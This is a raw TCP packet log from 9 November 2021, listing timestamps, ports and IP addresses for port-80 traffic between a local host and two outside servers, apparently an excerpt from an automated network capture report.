Nov 9, 2021 22:20:53.801944971 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.801961899 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.801981926 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.802016973 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.802030087 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.802053928 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.802090883 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.802098989 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.802129030 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.802167892 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.802175999 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:53.802207947 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:53.802275896 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:54.105974913 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:54.106031895 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:54.106070042 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:54.106107950 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:54.106158972 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:54.106173038 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:54.106194019 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:54.106259108 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:54.106306076 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:54.106436968 CET	49781	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:54.410166979 CET	80	49781	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:56.362401962 CET	49783	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:56.667392969 CET	80	49783	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:56.667548895 CET	49783	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:56.667695045 CET	49783	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:56.667737007 CET	49783	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:56.971396923 CET	80	49783	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:56.971421003 CET	80	49783	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:57.647743940 CET	80	49783	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:57.651859999 CET	49783	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:57.652440071 CET	49783	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:57.956265926 CET	80	49783	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:58.144387960 CET	49784	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:58.444355965 CET	80	49784	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:58.444561958 CET	49784	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:58.655348063 CET	49784	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:58.656431913 CET	49784	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:58.955364943 CET	80	49784	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:58.956321001 CET	80	49784	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:59.633724928 CET	80	49784	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:59.633778095 CET	80	49784	47.74.84.15	192.168.2.4
Nov 9, 2021 22:20:59.633953094 CET	49784	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:59.841423988 CET	49784	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:20:59.950464010 CET	49785	80	192.168.2.4	216.128.137.31
Nov 9, 2021 22:21:00.141465902 CET	80	49784	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:03.009160042 CET	49785	80	192.168.2.4	216.128.137.31
Nov 9, 2021 22:21:04.481718063 CET	49786	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:04.785290003 CET	80	49786	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:04.788327932 CET	49786	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:04.788521051 CET	49786	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:04.788553953 CET	49786	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:05.092127085 CET	80	49786	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:05.768644094 CET	80	49786	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:05.768683910 CET	80	49786	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:05.768877029 CET	49786	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:05.769025087 CET	49786	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:05.800055027 CET	49788	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:06.072386980 CET	80	49786	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:06.100285053 CET	80	49788	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:06.100404024 CET	49788	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:06.100507975 CET	49788	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:06.100537062 CET	49788	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:06.400551081 CET	80	49788	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:07.085383892 CET	80	49788	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:07.085419893 CET	80	49788	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:07.085597992 CET	49788	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:07.085660934 CET	49788	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:07.150814056 CET	49794	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:07.385929108 CET	80	49788	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:07.444268942 CET	80	49794	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:07.444453001 CET	49794	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:07.444571972 CET	49794	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:07.444600105 CET	49794	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:07.738338947 CET	80	49794	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:08.422864914 CET	80	49794	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:08.422991991 CET	49794	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:08.423060894 CET	49794	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:08.715987921 CET	80	49794	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:08.811485052 CET	49805	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:09.104598999 CET	80	49805	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:09.104727030 CET	49805	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:09.104881048 CET	49805	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:09.106617928 CET	49805	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:09.397816896 CET	80	49805	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:09.399478912 CET	80	49805	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:10.089358091 CET	80	49805	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:10.089411020 CET	80	49805	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:10.089562893 CET	49805	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:10.089915991 CET	49805	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:10.122288942 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:10.382963896 CET	80	49805	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:10.422339916 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:10.422554016 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:10.422574043 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:10.770179033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271085024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271135092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271179914 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271200895 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.271223068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271265984 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271287918 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.271317005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271369934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271414042 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.271428108 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271469116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271507978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.271668911 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.571628094 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571670055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571696997 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571733952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571738958 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.571772099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571796894 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.571808100 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571839094 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571868896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571897030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571901083 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.571923971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571924925 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.571952105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.571970940 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.571978092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572005987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572031975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572057962 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572062016 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.572082043 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.572087049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572113037 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572139025 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572165012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572175980 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.572185993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.572206974 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.572227001 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.872637033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872662067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872677088 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872694969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872714043 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872730017 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872746944 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872764111 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872781038 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872790098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.872798920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872817993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872838974 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872849941 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.872869015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872886896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872894049 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.872904062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872920990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872936964 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872942924 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.872952938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872973919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.872989893 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873001099 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873007059 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873024940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873040915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873040915 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873059034 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873075962 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873081923 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873091936 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873110056 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873116970 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873126984 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873145103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873162031 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873177052 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873182058 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873193979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873203039 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873212099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873229027 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873245955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873251915 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873261929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873279095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873295069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873303890 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873311043 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873328924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:11.873336077 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873398066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:11.873409033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173320055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173346996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173362970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173379898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173396111 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173414946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173414946 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173430920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173449039 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173466921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173469067 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173482895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173496962 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173500061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173517942 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173518896 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173536062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173553944 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173568964 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173572063 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173587084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173604012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173604012 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173619986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173620939 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173636913 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173654079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173662901 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173671007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173690081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173690081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173707962 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173724890 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173741102 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173743963 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173758030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173775911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173782110 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173793077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173804998 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173810005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173829079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173846006 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173846960 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173865080 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173877001 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173882008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173897982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173898935 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173914909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173932076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173948050 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173965931 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173966885 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.173980951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.173998117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174000978 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.174014091 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174030066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174046040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174051046 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.174062967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174079895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174088955 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.174096107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174112082 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174113989 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.174127102 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.174129009 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.174194098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474093914 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474122047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474140882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474162102 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474179029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474181890 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474196911 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474199057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474219084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474236012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474241018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474252939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474270105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474278927 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474287033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474306107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474320889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474330902 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474338055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474355936 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474359989 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474373102 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474375010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474391937 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474409103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474419117 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474427938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474445105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474448919 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474462986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474479914 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474495888 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474500895 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474515915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474534035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474550962 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474558115 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474560976 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474575996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474592924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474596024 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474611044 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474627972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474639893 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474644899 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474661112 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474664927 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474678993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474694967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474709988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474714994 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474729061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474744081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474756956 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474760056 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474780083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474781990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474796057 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474797010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474814892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474831104 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474838018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474848986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474865913 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474869967 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474883080 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474900007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474915028 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474920034 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.474931955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.474963903 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.476892948 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.774991989 CET	80	49813	47.74.84.15	192.168.2.4
